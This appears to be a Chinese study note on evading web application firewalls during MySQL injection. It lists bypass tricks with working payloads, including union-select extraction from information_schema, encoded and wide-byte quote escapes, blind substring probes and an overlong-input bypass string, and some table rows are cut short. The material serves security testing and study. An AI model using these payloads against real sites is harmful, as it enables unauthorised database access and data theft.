学习一下sql绕waf的常用手法
注释符绕过
1.—空格:我们常用--+
进行注释,因为+号通常被url解析为空格
2.#:#也可以注释后面的内容,也可以用%23替换
3./*注释内容*/
:内联注释通常注释中间的部分,一前一后进行闭合,这种不太常用,但可以用于禁用空格的bypass
大小写绕过
当waf对大小写不敏感的时候可以使用,eg:uniOn selEct 1,2
内联注释绕过
把一些特有的仅在MYSQL上的语句放在 /*!语句*/
中,这样的语句只会在mysql中有效,能够执行
union /*!select*/ 1,2,3
双写关键字绕过
有些waf将关键字select等使用replace()函数置换为空,这种可以使用双写关键字绕过:
union seselectlect 1,2
特殊编码绕过
1.十六进制绕过:
1 | ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)--+ |
2.ascii编码绕过:
1 | users=CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)+CHAR(115)或者CHAR(117,115,101,114,115) |
3.Unicode编码绕过
常用的几个符号的一些Unicode编码:
1 | 单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 |
空格过滤绕过
使用+号替代空格:例如,union+select+1,2,3
URL编码替代:%20(空格)、%09(水平制表符HT)、%0A(换行符LF)、%0C(换页符FF)、%0D(回车CR)、%0B(垂直制表符VT)、%A0(不间断空格NBS)
使用SQL注释符/**/
替代空格,如:union/**/select
括号()替代空格:select(passwd)from(users)
过滤or and xor not 绕过
1 | and = && |
过滤等号=绕过
1 | 1)不加通配符的like执行的效果和=一致,所以可以用来绕过。 |
过滤引号绕过
1)使用十六进制
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B
2)宽字节,常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。%27表示 ‘(单引号),单引号会被转义成\’
eg:%E6’ union select 1,2 #
%df%27 union select 1,2,3 #
过滤逗号绕过
1.联合查询显注绕过逗号:
1 | union select 1,2,3; |
2.盲注中逗号绕过
1 | select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; |
过滤函数绕过
1)sleep() —>benchmark()
MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
eg:select 1,2 and benchmark(1000000000,1)
2)ascii()–>hex()、bin(),替代之后再使用对应的进制转string即可
3)group_concat()–>concat_ws(),第一个参数为分隔符
eg:mysql> select concat_ws(“,”,”str1”,”str2”)
4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
5)user() —> @@user、datadir–>@@datadir
6)ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致
缓冲区溢出
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
1 | ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 |
示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
参考文章: